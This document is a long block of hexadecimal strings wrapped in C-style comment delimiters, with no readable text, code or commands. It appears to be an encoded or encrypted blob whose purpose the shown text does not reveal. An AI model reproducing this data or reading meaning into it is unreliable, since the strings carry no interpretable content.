d9d455adfac056e3f23328890394a647ba4d9010d1df5ab9a273a2c2157be0cadcf5bd23a5da17871fce0ea7e2b10394ee1865427725904a04ad5bca2ea77ca1d688336f7837f367030fb721d65374d160656599ed4395977eb33be1e44be56f34e043cbde5dcd25e880fb999cb53b64cacbb578ca534a0b1e2790986ff8f719ba91b1ed68d753eae957a290c3924d751814a6e29f5fea3a0dca17a0e38178f6df4ce7e528a008a887d12bcb641b46d063bd6242dd1b20e8d46ff6e11d46c8cec36c93735b4941ff94672f17883eb67927a47a6edfce1b83b13a4d17889020164552bf287217cad25e3f2a92161f6988534fd44505524558dcc251b090b3e04da99544879b68cd8d43e38082617a8b7cfe97770114ece6ff87fff0db292a3d144e5daceaee17f9111d67543f8db6bf18dbaa69e99f1ba999447b7a78ad1f3de92e43cd9c5da5c05a584efd0b57948e9cc418c55a4e72dc6c173453934f49c1a79ccd6c1928d74f8b32bace6f0436345ec59493f6d483382481e9370c70a50dd01f3c347621801fce64de4e087e828becb7d15bd4cc7012db5c5cacdf89a8ba1b21640a902777f4e8a57071a625cb95ee38b7fc88731449e0077f9644cd737a85c9e0d2409dc85713b8070522526c1317df7e29cfb98aa57fb249111fa993524ed0524c80472815ec9f*/
/*668cc8e84c8b63be51af613d732bd28a03100ee9076b4dd1d226535cc769ef3c471f1547f0b0389815b0e89cb10e037ccafd73b253ad7fb16e3ab51cfc014ffd166c4d09e5dcd0756d4839e0eb99826ddfe360b45eca3fac5090374d035ddcd10934136cf15ca42ac0035081d658293803880d40a18ce84c5c2b5ed3b0b842871e5e51bb8231ac614ccb6d8efdba727a1c5a3e948391761763ccb9662590cb6a139949a4b8136f19cc3f9745864af36dbb9790c5b99ea986f3a628bc3eff9e58025a41a064af5d5adedbd17c6eeacbcb42472ca71690ed9c3d0568ebc0fb8bd1a58b56e80cdcaa553c199072c5bac0a06f905d965321b31af7fca3e6030195d0e0860d1d51ec7f90b980fee0700cc3879a990d713a1c5a2e9264159307204d7ef0f3794a510d37ee7c5220d3ad88fa453e2c33d38553ec96b245a572a243386cf3a726fee233a4cc2afc286d3693063e51951e679e2e15896cedeb0c880e0d83466ddcaaac4b4975f2ca0ae49f34bbc6b8c641b1674cc880ef61dd9ca9d3275d6ec9e22cc3a6bbff10e06f38047236e06e0d64969e1ec2a881bdd757b6d087cbf83bcb3ffedc00f68ccb3c547f56a729735d2795f29fab75b69700a07363636314355f57ea5df1df3acf45235d3b22e5b9fa729843bb4a568437663cbf93cc63d400c62bd1c0b21ebff03b17ce925229645d92539193ab709e4cd3c8eb266c21586831f76be4056310ccbc3f27d5ff494f0580f60d4a9dfcc1b79561626bd0fe2db65a953c28fd2682a2d3fbcab36d3b02c644e2342773f0779756d4060fc1b3f6a19cbf0ef3d9fa965b8736c9a0dd7f3ab99d73901ba5040a6579f815cdd54b42cc94168cc7f00c78ad5e921e41a49adc8b1c39c1bb33d371f7cba22ff2952274f4f946b648098abfebd6b0070aecb079bd136918a859c6ad8036901fcbf6b0a4d8d8a8489cfd4b4d589f47323c5419b880f63859cf5032293303983d0472aa98cbf10d52777a909a9e8b7f7ad6f12a082df32d5843b104e3e066ed0586d6dc8b82f3e57a5afc33ed5fbe2e2975adab98456e37e8646f53d9de72debe1c134bca3c0470d5f933e3bcec005065e0ab8050038f5e4d790ae552105246093760cdae7c12e6262a60bc09b82a03d37d60c606cace402f30ca131dd881f4dd0f3a5475b114a8c44dbc23f43879e696a0c2f339df039584c405e76bb78b02d6268025ff76fc8558094625d26ea47714411010a91ad1fa2ca2b97ded887b15449f3cded9489f58b74212c1ebc46e44e3deb6f918152dd5eef480ec13fd19ed6b7a63a2f183f85844d46f8308807db9dd4c939db8f48a1947cb943c67547c41c57da09c50247acbdb223c70d158287a5f21d160a86f9ef3cc30fbcefa5fab90e8a6fddcbfd8a6a5f23f492593f2ccc61897560472d769e0eb0d6a1dda23ad4beaa4fd3467ab37743c5f0587193d85018a783e512e0bd4e44af5a5682d7d568c547cbdda60f228d518a97723bdc2dde210abd1c0a62f30345e478ef85d652e535e5aeec741d50e11b38a185698bfa7eea5464536feb5f59e28a45b8f5e867ec75c21c104305ef0a9e78e9743ea0c3e92cbbfa1a0db1cdf9f72978516e18901d3e15ea9776aadd6fb5e13d5967a02937c23de321e64e4a2c8c560ac8987ce6d30966c8153febff1644d6899b3fcafbcad686ea129f00fb99a23b43be2beefbb3224e060091eba124a1c68bd620a34b8fc1a1ab6282ce98342b3d87c051bfb99148c490c378485255f2cd5af55011732a31e18289595f3fee12c57071d992968451e2f1e4d6607f813b4dc97d5d9710531d81e9c05f7061264ac7d2148880e9aaa8efdd5c21029d80908890d864c9ec82f7c3e35be50f563792620f1236e8f248fdbcda830194282cc2b07c896920152e03a1685c8565db8a0a8bd10bd373a2593d67fd69dfca999e4283c0aa1ff54ba2cbf32b265437d8d7695ec343e8642db63d1ee4ea4176d216b77401f51a73033a243a7375f79f2d21badb8a3ac0a62771468d465443942ac901a907564cc14624b106fef0ec12f7d0af571e38738a0e91d91c9f5a99e1a63dad659f13ddeb9af53d99a35bcca11a26160d1bc02c0ddc70d13467f9a330d4f4000735d9968b8105f40fa8758d0b44aff4d76cc176446ddae91292e8d620726f89e8dd91da893793b9a8f354530fc3e09e5c81c3ad000b54fa7335c309788eef84d7ab7cc600656781544f524b22b61095eafbd319e9c92b1910840139f02d7df4d34dfe501531f20aff692e5cd5e4497f54fdfbdd7c7816c14ef85747c412f2ebe06b53e5cf8f3579cc21928cfe59f0ec280db85a042de4620012eb278a46845de430164b21d643684f73d85b7cbd28d49700e3dee2a55271fc6b3b6baea461fa91a4b0d277c869be17d6a6fece797107943b66cf1dffd909ee16776de4f36035fd9eefc8911fc53644d8273ee038a48e2387183afc32b78427510fcf535375d12dee03e30dbbb8e4ed32e527f2f9f3b15c4566d11465097fc2cb59ff0cf4f1e0f02d1ab24a65d18664e15a7260122b6d4fdf5610842369acb3b02a1e7656062fe640da2c8741b08e54168be1fa9f8e789ba2930d7fd88cdf9ab7a2e244e52acd11464e49ecc5fd5d71487a924610ece64a09e9cb4f3c6f62a5aab70a7bc46c6005d42619f9bab0b2d65c630541ded804da6b8bff9436c12b8032dd41b28552fef51f5b95750dae8fdc3f39b7d4333d9e92386e7619b191e2b1405e98b320ea68eac552942440f5442f88e6ad6a800c10b122bbbdbe36829c8cc253bddf93dcc20b82f3cc37b11a2a852493f*/
/*626e4865e87836ef381c8c8b67bfb8724a73492f4a042eabc7cff0f577bc29bfd4a9bb18c5444155bca5ed955ce73a99394b3f60804ea6dd059f55b474e6a744c8db60bd3ff9efc731dd2c64cdd9288b3a77577d80cb915806ac0f1fc20b1ae7d9dfea827b7a86bb425b9d558140736053dc384d1a9d3fc338e54bf195a0fec539c3a73407556883bec29dafe2cf2da96139b26c62b3a0579f31daf5cff849d810caa26fc30c228e1d7e9ab71c6d5a42f266eea06ad3b3fce1695184e8bf07f3bde321cced390db56a38dd05f0c749b0a3f3d7d6dca31919d8e97ba6b76683b92ed38d99628cfc92ed57a894b485969409af479dfb4da4d9e81b405ee35cb314fcc6fc85192b04394f8ee7a04ddfef098c84c24f379db74832f2b880370b7bf0855c82cf69cf9aed9ba721f8b962237eda937254750848fdb933831d6b077d7036f6e8c3bd6fc120a1b7c6957b1025167f4af28d23957131eb52dce31290106591077bae85facf07c3b6969c2db85aafd49ebb6ad9ad5e5565f30fe9298c31b088f299012afca27a2323ee32ea60545e07e4dfd813d5dec0c824b724ed391c2f07c0d75c6a36c710de4276ae55696e6aed391f45e61044639915361bd2f6e55d093e86bc9caa7c229872f12e35b2a8129a6a5778209de80a5992092ed8346f7b4126631cafabed441984e34421814eeb1c97a994a881d8596084b5f4b5c084c83eb325de5966eb49cce6fc01a3b75278d1fd3cb85fd03e1c6ef4cb26b1e1df325a68d7ac23cf77f4cd547f2923075ce5d7983f00c8bd997844b95ed824932c5964eb661b0e07866b0647f6f5b40deef2f2a73407d82065de1bd549797cdeeccec34f753851cc096d101c1e9a939ca0039d76a8b9166a319f0c768f94c8288901df94a5c6f126eb2d8ee94938734c9bd15c1ced28955eba4ed96fac380862852ec956b82e28f9f8c5f45f35d409a2470811c798aaf18ee13b2597f4113bfb6e52919a62dcb6462cb8261f37090b0ce856ddbb3605af808395b2051ae2defe9f342592da18727728a48b6425b503635bf4d20f1daaaf054700fb8be0439bde5361929cb639c333166082ae2d6416cd3f386403fbd0916f68a3406d74b4513c6d7b069afddae789b31f3cd8c3f99be15c3a351af96e2dfc63e1cdc0e0468007ade692356946ac52d3c750a910599c9bd99759a1b80316b5edf47d01c714c377d28b3283c6448137b9fec00c30707607fcaae438dece421f708431824da246cea0b5fce10b58af8002ecf9d0b289de85942796474d163d06d3b5624361e9cc2befd5891d86f7e2e457a596037d976045db856b4d602ba0a377ef6947a5b8d151457b5d73e55f42c7aeeda4718ac8371f0a2360bb00d191d03998e453fbe390e08b3c2963cbc262383e8a29fb13ca043ea56d9346ad6d76c0cbb4a822439788ab10477f757910b41a6033bc529333b48f1e90d243d5602ab9d34338fc96e102ea94340c5f9ca970943a0d5227b5a2a511f23408a55c2848935b663df6f8ea3b8967383a8dbfd1acbffee94d296abeeb2c5eb91aa694abe9187f2ce5985ead206cc58a54e1dd122ebdb549d8dd099aa5e01991d3fa582970ba32c05553bd55ee8847ebd8a308489f0c9f4ab031cbce35962ff8cf2449d6a1429e1f0f09ad17ff32fd9ae3f35d3a0f0892e646537b9213ce7b8b9419fe6ce8c409caa9d98b71ef988d9bdf021ab300d05b3798cebb8f96105cccbef432e9ca8b155cdcb01b0651959d710117f65adb7aad01d00a2b9a1e10254d4ed6d2a90287742fb0e4d9d8ebd1f07e3151c9c76a2559eac5cdb2dbff129d3049ceda9cc4a0c0cbcdc011a900dc9da534f3751f350428863e1c51946f8287ae87409c20ef32219b0227d4fb42f07884ad9611cdb43474cc502f0c8d42a5d4df3f029f77fb86f91ea0dd44235114fa8056c65714c4429e0da75d044de1bd5aa1ecfd4b6e394bced92475eb99f9354be33c437bde8b024ee0c21027f255b440bbd6714177be0a516f1600d44bfa58212755f41a3399db7bc20033c52c43a9dcc3e1274df2bca696e6cba1b26cc05eb3e7936e2a8df380856465ed75d9b8b01edca0a98d714b64b8d9406f9b34e6f3b70a210591f204df1b9732678c1053703f8c513a8dcc776fa0714b5854b0a8d7adb5e429c394cf874422289225c0c5c4727e642a2d53c27cb106ee7e63ac64cf94adc208956c2973fb0aea00f5b6a1da6b99fdeb3110af61482cd1bb31c406f2d84d3ca31026c175866bfeaba534630ec311ec7f36bc26b478b18605895b4f1a9722dca73ff6791b0611741ab76701f75566e90d7e52389eb72e682b7e89b01e85c24ca7a432ca7a8e3a268ec7ef3a1c1e0f7e7f8bdd28d5ddcef9dfa5a09522dea16618b6e427f06cd224c23b6a8af80dfff07b2deea3467a23f8a62d41e9acc4c5a691c1cc7748ab6e7f0e1296491d43dd5969603a88ed41cabaa6184d6225b57b45c4040f4c50848c05fbb0f572f96b584a523774c6e92c37fc2ae8ae06c3b164d9b1d28621456ba6b57fcd3baf4bdaa5e14e3d557005baa06ade4528e28da1b0b1b8e0fc7869865887ef0f180fbae14bf410fb901a53a15b447c8e82eba01177aee198f854b3804cd9ed3f7430ef12baef621adef5c6694072bc7abf06b468b36e53311e97931144216b882f8082685cd408701b000209efd907aec13a55bab31b0857b65c931be4c77c346259360053a475c1584074d4e82efe3e357b1396b97f2143334a0ba186971bad0032edbe48793a4f63d37dda5a37041c6b900f32a3b204054e72f031818bb9dfe1b2cbf912*/
/*a91e027cc8b07f50267164d2db8330a2639216778266be92bf7b6f925993f1dd49f4843cfb19427e8d316909eb9e8e5540f5ded80cd604ff8e6c9ba062df6f29702b8c4cf1c7212aa6b0515dffbe6fd84b512e40b13e0e2b155145dd017d444d6461a0573ee3ae4bb5612a053246cd28f44374faa4ae46a72bfde0abbcb608991bf1fd466517a13a161b0a96d0f01394f48903bce5c2dcd34f9c8395d6d8440da9f39659add6d7458591ab8732315707e77a9ed191f0a4b2b56d250a2e43be87f7f37c39910f8817e71ec6de9e5a2073180897059e08afddd22689663ee020113b39248b8430673745949cdef38474c3e767c6f5db98271abb7fb94e64300ddf467c9543bf6ba556abc870303865014ccc8353919ba12ea11f623345f60339fdaa0056842add3ccfc4227671a98cfd69972f4b12664ee8ac9090f4b222bb88466e8596a225715ee842a85dab337d4b0f414c59b15848b7a019292fdc34893763823969762d21ec217281269af427920db80cc05548c834c68081e4d3c225a1d3f6288e5f0a781ae407f436afd6c3e05208be93b731ae18adda3c55864aa9048cda295096870007004b980fd37e987f16d1b0cef23a7d4ec0793e7440b37bf24429c769f37552462894293b0e0b9f55788025152b569c348a34673ae261027822ea5c051f0ea2d64145e9e584ddd3fd0f82feb50d95057779d6b7960861c519046ac50e07986f698a8da87581e43d1fd8e462460577e6fcb5116308b57bcbd2be85d0c9bf02213a35c4d4754cddd120db198c5aec78524a95587d3c8fce498dd59f4d04bd4e4f7afc2a3316a65e843b062fce42c5a2e637464de79d5c5d2f1968c057a3a7b368642f657d1d49db412bb6093f15d518427d2c74b246295a02b3aeb9e28d7631334e57bc6942f80006ff9fc11de0b01f26b16c2748c557ed25bcd259afa51c702ca1853e3a03b733f309d926eb633fd0365bee4f6222d18f4888ba54f2cda067ca93c3dcf4de71a98776ace9ad872f2ee9e223b353dab1730644923af6fb38890e0d7f4ba3f46e31ef7a14f942601f0da67e49cd6a0f391c554af1a7468075df44022544888c05f49c9acad9a29053019c261ea2eaf53ec16a5a3f46726553e5961640689e7844f3fffe6deab49bb0cfb2fa9e03ec822cadddf737342ea2d0ac5c94696fe224bc2857c697b8907a7be409ecda00eb0985c93c8f69a2a3f67a7c7f2d763efa6e84d997490d20291758d688f4253b7067cd8c1fefd938796b2774d1743972cc6883e9b371a6297793da6fb50f2401fdc885e8691337ede0609d08463257058b487c9e84252dc9b84ea2a0723eacbd158d871f72d8eb7037b1e86b1f01dd81759e20851729850bc9fc4c2229360595ed6731e8c44aa92a29c95ad591537da708c15386458792a7a78932c62507baa2cb45bc0b7b60099c8c1f58abe11e84ea2280f3ec145921b346c38ba071642592ec0d41f8e06bc809994bb918ed8af8f1da753a013b143e9273eaaf3a726802bdd9cb2ca4307c61a82fa65343d2c81629319a969eabf4fc06dd0683e08090e010a0ef225b190813f61a37b3eda3ae0f1b3f17ab02adffecb1f3e1cac1847f5ebb65505d795245601d4547193291232077ff800ce4a1541a92b548743d3b4cab1e786f4c1e0a263616d4f760310c212fd5f40c2f4e4b659b03eb64ed4a17b4cd08ec1233f510c3ad92163e9f2cb0993cfbea05a222037dfcf41ebb37bddcbdb8722098ea5b015452294b5ffcaa70d95bcf71d260da1ac5ff8111f371a146627509b1ac7bc720faa5f585b1d248b0e4b5b6d68e451fbdb2b26b556d8938546bf2e5cbb11e314f57f7ee81338e954d3670ec1eda61899bdcd23a66fcefbd9d94008a52b4aa343c239b9e1dfc7612657a790e0cef5fbd647bc048f4a2f990b8d36cc138bb44179a8aed3274696f1c5234f3548bf29757533a842f5bac0f20350ca869fba60bae556c88124754ff0ea1c34d6e919c059dc0310753ef88e1c761f8f7779b8fd6df96c7d8e821ff80b2d53d63900f169eab16b82be48cd996880b3bccbe082a3eb52664bd4e0516b91e2b4c486994ee1fd5f9dbbac08219c4f9e1358b0b2132c4295c4ff5096474311a54ec1ca6646503d9261940d19bf736d64d9dcfcfd2df241e66c1810c116a7efa42c52a67859167b7a0aca9714d3519779e83bea716b786c1eb653b1a33e6b01a719f40ff79339ffa9d460257f8113f2fbd2f4a28c29eafc12af34e94de96f42e7cf6d7c291aa5f7c8d0ca902a2840e8d492a037c04c33c774075e67719a41443472d4c350d7f28c8d0682f300c61b4a54b6d29d3f71b8544be5759225b5c596f8075003d2c8b7952dda70b8f38a285f7674d732ad138a7f4dbd9dceda3c7a3728e568468f236b876fbc8ed95d8635317c860afe192793151636a776a96c28816cadb6f376f3d68db6dfae9dbd0e67c21fc05eb3374b389682c45d18fab633ba5a581e798f67b7b41c59e0f9d69139841ced31ae5b364638a204db6c87f6a84d71acd33ec4f38682ded40d8b66c807264c226976191026d09978c67142f584987a3582b39d01aa29c2ab299883bdc39b9bdbf7c79e8395aa895f91dfcf1c7f04f206f4d0a3816fea37424a2402f62a55291ba5a62560af4dd78ec9f0b5eb30ccf6e4a133434d69a1e81fd996a35de5036832aae845cc6e4f5f7d453bc41a2602b0a8645ac74de7661e56192662f57b778157daa55a2fa2d7d197f3c41837b8acb75747e6a05ea82e7ee0a0c8e53392b662006270667140714e066ecf57b0d4fce853e548d320bfbcbec370a*/
/*fb1963fa6a8a2593af3f4344b9afc61221792fe2092238d6655c9453eac1a7f4b370d0dd07f9af65dd5be749e53cb0b605e097c4694ebb3139d1e9e0ca4c22265549d65711303fd9875e996cbc5a5bf0ba66d8e52d84f5f06f88e73faa2a07a6db9aeb4dd3f5a2a5c9ef89319d811de4c20f8a260a30caa0815c7aa91d3b12f86126b19135c0ee8eff4e4e2d57bf176f33566e0791d506b0609ada5d2e5b53bfa93874e4c89442deac672a789c4fbe7667e4eb0e1dfc9d33b1fd78abe4bcd72fcb3390d87bff7b5048e83ac37c1ad98570ee97b3591b6e053b51944a45ddf99dbbb9d0197c18722fc737b50bbaa3fa5a73774bb37e58e13e1f94a9520a49779caa593ae1b084d11d162005499c2b96ba0f2ced1314eb6607057f3d4828d960419180e95f383bd9afd713554239f65ef72372d3eb21c4535db0869d2029f70162fbf6d9d3099a7d25221e8368c1be6334f5248a7dba583e5db3cedd551400df0c91c860bc905c96ff12df36172c6ab1bb735b0e9871962d93be73d2689ae6ad2ad68914edd7f31357ea32f64ff61e96ab6a70fe52566e0ceb28e9e535dd963afe138b73fe4bdf6b1272d355c69524b9723f3da0ee341598c4cb82337102bb830c0bb886c4b6bed98a94b023d4248d1c2571231d4df0e1faac36b332f3bcbd0f931fae5802a281efb24a1fc229e7e274640d5f99c27a357654f46e4bed587796296e7d00da7ec9e732e1cc4440cce70ee188cc9304627245d3ebb001efe56bf8f89d27c369d8512edac3665d61e67a170948b67d667bc1de60c62c2dcd2ee566e83537060b22b5bcbfa447558a8ba2c6c8a758384c5e0f61a026c38ff2ca01a62148c2ba18bbf0010e822937459837e069c52afcdabd799ffd1c7a6f31731b4af50bafe6f415adcf870be119de6dc3133a1b3d8c689dd1cb9d366d8b1335839cb3dd9b26c796fff633c27efb644ac3c01537f1f2f3692e55316f6bd7e481a78488ad2f340e25293f3a0bca5f3902087ca831c479982fd13e8d0663a2ac2b476ad2a731646e569045ad0750692ba81de6c78b8d1bddf3d48227688ee6cd33e6fa556660684fc304e6b81da56f0de5d848852c95abf65ed5caf997f7020f2b51c7dbeca7ca6b0faefd468daebeee347556420e18da2d10e3641d222e443887c3aaaab509c175bd7d2d5ce2682eef2783aa267cecc34e36fd1225b636b4814a3b2b62e868d404c8b60ebbe2b3661bc325d946cfb7b5e912b44d52d937f248e6b2b4f98b4506f2d878b22f1864cc516914925d5a3cfde825b595a2f0df7cb63b1ca8d5e4bef91fb93194d6d187fc3b709bbe723a08765aae9754592592b6daa573df18c727d89faea7f243ff62f7e368748e3201020641fd59610c8bfc7ea9e40c9e00800180d6bf8d5395d69a361b114424b19afd9635e39166977ab615e6d8858821b42af66dfa13dd57e9ac6d78a42463c33440a7f6021fae4a58c6a111b7e02c3ea90baca47718070604baf4435907dda620029cd2a3aacb5dc2732d1010d4f92eb8b0efbfd924186135ea01f8f7c1d55e749aa0d0f692ace1141eed25e8081babbf7c7bf68da423de631ab969a6bf7d99d6b6aa024bdcb3a6eb427301aea858fe7f5a43775af85f40ff79759e9a22bd9fe7fafbb98d2ad67004fe1775b14e2e53fe1ff37ed8b91d24c83515d86042d52b3acdc538088f203168ccccf5a5407a93d4995f3e37cf1522287bee3abe0e8752315986fa22d9f36db0c7a30e02eef0b41bcf097ce9a9feeea5327d53af690a16529d904619ffce35890b53e6eb9e22ce8edeb899a00eacd2064ac3058bb9892bd40c45d332b211ac39ecab40e882a1bdb9aef3db9b8d2216467985aef5ee187114ffba20576e125042245c92434764662d07335efd17007d9ba7d09190adff2e3fc096375fac0a575accd542f3914b126aa2f6a940d53e7d8004eded540d888d35fd72da3d57e57362b97bc4ff71fdf4d9e5ddc9c410ae924955f101c9922c141ac9f7956bac86aaa08bbe9a5380e81257207144548ab303a964aa2bd72a6aa83ec8ecd144cc3983df326daf7f1da77ed558fb7821e63882fbfcca10fbce28178f6c39ff4183f9203db624466e2ee06770a33aeee9b50285910067de0c8cd00768bdcc7d1041a38b5947420ae10f917627666f0db9b3aae593b941df25de5dd32c7c6e5ff2cd3014d2d6f6e869b974600ebec2dc9f9d30cd3b694df6df177c4ba279031cadd9091573271ee18883bce3b947748962bbb0eeffafbddf9381356b8871c4ea4558da5d0c0c1416263551b54096f873847c28990fd6de39a6ef83f97c1831f22ee3e7def22c7593d1e9cf8b074f469f79a2c199105a01d34f7052db55b1dd44eb34bcf9acc7ae60835542327f0a639b74be213c5fe78b5fcc3c6cf5f5a927180469f8e7bd66bd3b539a8092cdfdb9b6d4bb51901eea39506907bb8f27083dc46f8192b3e2b99da913ec8e24d3edc780f525a218d92cc46ed89090f2e2f4ed62c564833a50175f466cc585d9521a0a41037b9184b71ae654618207b7a03c3f10829b27eef5d12748303fb6af2fc488a90d3c9ae81ba43381f6f75e3b08fec13698c4971a7f77d74de63ca8cf46ad4f0f782764e2c0bb12d184a7c9d0a44b277b07c739677dc0460eb91f4b09a1ed32d487a5e89eba65bd3bab81ee22ea72164c169556d97e1c75b280ea147f359740ee7dd231037cc6e7f170ce4ca327ddec9246824953bd8f13806d297f81396e1be72429d707408a53a7ae11b88b0f7710e49b1bf20e63ad20d24e73e00b2f9c393f0c4706e5daabf8434b008d8e*/
/*3d3a4ea40393e99941d2ad4b856332389ed4efaec3b2fe2601798cd855be102c81f5f061cfd673b201e5a4670c80fb4408934de7b7a6f8d1fc200f76d46887f97d44be11f8f1166d7a61294157b9320a726c17554670698668261aa2f0fb4fb1f8d31e4024e3d1ef194c410ae78689174e68b22a90ddf8b0d7b2c5da5f96b170a069df10419f021fb299e709dab525a7b18cab48fac9d3469c82bb5476989bfa99164bd055f8cb4121e90cccba96beea3b1987ead0a736cb23351ab736960319ef8daa27893008ace8b96ab0ac83c34e417a45445ceff48694ebcc157703a3c48ea1af58c53aa5c1114ecc98da1e30636fd147b19b4200584ebf9fce2f99864e18d091a1aed318042a6da1f1e337b92110451f377f589edc4ff42e53d3010b9efdad4661dd707476d79218b103a65bf41cc8f21208b5eb3c73263b9b8f94cb23a841b418bf13661cb7cc16806734065c088d1dc4c486ae7797b6569a6f9d37aa170582e514787c785463298190a39027c96fe1a52ee0c1afbd679e30d6f0800c6768bdba47a4f0a6a91aab848b57d07d4a09cfcb8306ee5943d01da469c5c9be488fdd0aa3157f0b92d0173b8cf4eeee616c43d6cbc4e2280079ef68ae932cb8fd5fdf32b2a43ec78f6ba55b89bfceef6dde9e52f48b01231e4574c04d3c293f3b84257246477be882a30d22e2ee5f3431564554b71c16a1e243a456b83c1f02a7f8dfc0e97632dd8514f87479d70368ce5c9461ab9ade4746a31eb3ee46184b414d23cdcc2cad1224c0bd08f36c815bf39749183c6ae0730f196f431d8316fd92e1cdceff0c4ff45d0e812b7cc123d28871e7dc1b749db81190cfe3cc89338dcb26a76532a4f2ae9ece805f3661e2c5bdb64f739c595b4b11310f904ed1c5bcced5fae44e226d9e59d249843eea8cfbe5e68046b13574e991154c79c80f0e61ddd090d8949168c8c58210fe8d09276e2d5581578bcbf9c4faf9269b5251b3b1d2947f1f7144a5b8f422317539c589ac68d57d6b83d2d3a7670332876fbab70eaeab71835a9fe9222ea71d2e8c8ce19af2531079abf8513a47c30b960e5fad5e3703c1c012ce551ac6eeaae133487f87570256be06c071e0d235ee4e169ce109e43cbe2735037da655ce55f37ab3dd6edc4c208c23c1e9f6db2633ae8c135590330d86438f35b7776640595e12af1963e2d35895ad9ecd7d115811751303f2c5c5bd46ee584ccb07d59890a680c338c2e1d8f599c875458c1ae8a0431804ca218e12db05a0e1d7086eb940913a700039c1979f1805f67b05961c75317c0997798e84b0f093da81c1e342baed955363a0436a277810c8e07994d1930b59ce615bb16773a0bda2021b8dae0a75c7393817cecb99b42655d583641fa5496819c48386a27efa920ef9759f3e43ecfe06d72c2f2ca3d475c6d4d3091680a2614e710587c00449378209a60eac8a97e10e4d11c161930cc74025cdfb386e84c1fac1f4b87f3ada5f34461c0f88aa0b1fd73d4e65533a25174346c078641412ab9d9531f9d7c00c63e25e2fc81b44b08dd3120807afd151077f59ed74d9e493231a038ae2db90073aaebcc9a051a12e7db31e68214611d00cdfd13e765d6760b62e3d13b06d17a4254c27d2f6186ea2d4a66e82c4cae1933ff6ae1c2455973ab66ab37fd651d68a5c81efd975861170f4c3fb2643d454f3fb87aa856f62eb4471e0cefbe1b07c4df20992a7676208fa090d3401ba18a4e44f0580f327edaf232ce1243806c2bddba7aadfe2c66dbb88ca5c982be29efc93200e83c6ef636991f45d476895ac8f4ccb186cd15424b88ba9536f63f2f37496b2847b37cca2f62f59c525730ac068c242f8205e7ef9b331848389bb9ba7d1775122467734c8932131e7c6a1d3484048ee39e4e8f32182de7d792975437479ebae8616e66a1162bfb9620d44921a50197673cd2cda561a1fe578101f28eb1494b3cd29f7c2430273449ce2b387c274ea071426e7f1a5bc7d9809d8401806ddd1c27e41ae3fc9d66c25faa8a33d124cb9f500871eff8e6a9086c1036c763bd108791d95dcce94bb9c09c0e5d802993e7b4b081b09ff15f7ae2168509810aeb805fa40bf09006f4d29e52f9f9a476898d9dae412a9204bd7a2a32d345b058c77ed2a404621bc2e0f4cfa88775adad2d0ec0ad5873edac3528f4386f9646c383c6cbc445d654a6d7db9698006abb0b24de3f599c6fbb29dd32e3f789d5cd4fccb975a9ec443ad33a296259b875cd03bfd7491affe7d23312fca427e081eb72898396574b999a66fad52afe1edd7c94eb04b2a3fbf072324fa710ea3e993bed1f7757113f0140a64715e70bbb3941339ab78b4d4d5660f5e56ebe0e80fe004acce26d214ee36f3ef383861ebddd4a94e8ef505cb7322f47d0616ebb0c862b49a8ed051860f384023abf33f6e4b6d73ceb9be5a82a79911e256fb0df941d7cdcffe5ace3407a9a4eadb64ade191732d19eb7e0ec5d479185530779790d7b80883ef96decfb15519ff3026ae9ac4fa002b5d2673e4cf9a3b30eaf2231edd0d88c84b388f3b24a056294c37f6501731ff169ace470b1bba83c74575bb22f59fe9457cafb9620f7399c5fdabc0ce83d46644cbad819c7cd77a0bdbba3dd15d6e70dd226e06521efaa549e0b68212e09bc5171318f889ca9a855c0686d7d3f8018af6a6b094994060e1d7f409e0362277580c3c4968bdc04d11739e67054ad46cafb482464cfac261a5a80ef9cf1c30fe15ffe9740c45ce43eb4db9d35dcb12903ec10d274f21b60f13aef1186499bcb2c14947b319686cd8ab4170056d4f4eb5*/
/*c3eb66ada7da03d795828c20e6eb1942a5cd5105e26c0be5acc4aeccb77b854afe099997d4513571263315bde9790d0cbb8f82f4bcdb28460deb9c12372bf847919c55538664bb29bceeb2a4cefda506080645326193bc0bf9b733570dbef604b979d2a7aa262f2052482ae7a073cb63f789cb0e6826a97f987ff3f0dd305eb90eec19328ab1f7a6421d3e0c573a585d2948612f030c906b1378dd795568d126735d90a6c160cf9fd80e655cab3e090db2ed932995ceb3afa715ca9df5901a02db8bf25b1eab3654ca2265d0d6ddf544f21b4abe18a6f650fcff63fd17ccfa2770f4aecd5e3fd0f7d27de0de2ecf7e8dde3342fef1e3cbaa842633e2a81b818f73ba9c78ef96b9537c20c977c077a5287f7fac3057239c7eb1b87431f7dd957288053b14e8a95816f79ba35b53184f01ea4331f0b5a07e14c5b59c90535fb175848e6e41a481fafd88a788869fa063c7c94c5450e8adbe8f4bb3dab858e5cb2dd45e9a01a7f81f8234b81c8faf438c6b7bcd68c38b3f65bfe24e0c69da0595c89667405ebe4d13dfa583f08a7c61567baaecaf2ad576a8570f6d131882501f32151e818f216df950d9792cd22c59d3543d77234aba4cdb2a0b2ba6b206c0684bce7529ac1bf40b83f5e681ae368f3668cd063637732653925b181cacdf5f5c69c1208b99629c55b9ce30d6c54703cc908ed27d6c8e350b59d801e1917a99703631893eba2daee8a5b573763b3f891b06fc995f1d84a8dead054856d015ca0408cf27532a27a97fbc3104c9060830cf5b3a2cde5ea9ef56a723f535eb1bcebcf136f23cae99a48e651e5b5e59e7ce6fa079088ad3889ec3c9efb6bc2cd5750fc42960adc3ee8bb17e2808bcb146de5062838ad2e2a280f0d82bfb9dd4f67355c92ac622f3f2cb7490f9c62a2af995764aa2dd714ae19376698a2a9319a4c84fcac09fa0f289fb057fa6b3ece14c1baf6426f774921737b5b2c6924490fab3e2ebd6ae0140c5861d728b69c0b1988bab1ede5c76b6b9e8e47d74209cbd6bb17b9f9b6cd69403bb16a6742d301586ad8234640b7a1033c1d61763713866af2a40324b05825e283149cc2d8cb99e50cf032e6dec0837be6be4fec94591d4f66d2e8350a5bb372399cec55aa3d6a1b27cb195aad94fd5f2eea388b8a5cea0547442dcb9c2891f0b29f06a256676ba642f4439e1be90ceef070010e34867bb3be1eca0a3e5882d062aeaf4e5bbd44387bf424e26090f2fb3e4b43306ba45dd72a4fd4c867d11132dcf82b11eee2e3f2bf5408f747799313c13281959ea9c0573e5e1b67a775b0d8d4bccddd585f51a67401da31ca6e6375a4aeeb80dac3eb2332112d6bca68e51a213b6d241b80f028c2e9e5e904edcbf49f82f3b4e6725bf727ea4ba2e038bfc2c34019bd6428dd4c17efe0512e20d90a450a5efaa3b586c91e5c608167e01173fa1c2c951b19dc34fdc7b4c28de9d34ca049f869d2271c58cc9e77ccce7a3a09e1ac12a0e26aad46cc98fce8a21cdc99ae5c4aeea7b7ba94f21b6639516a6b6d6c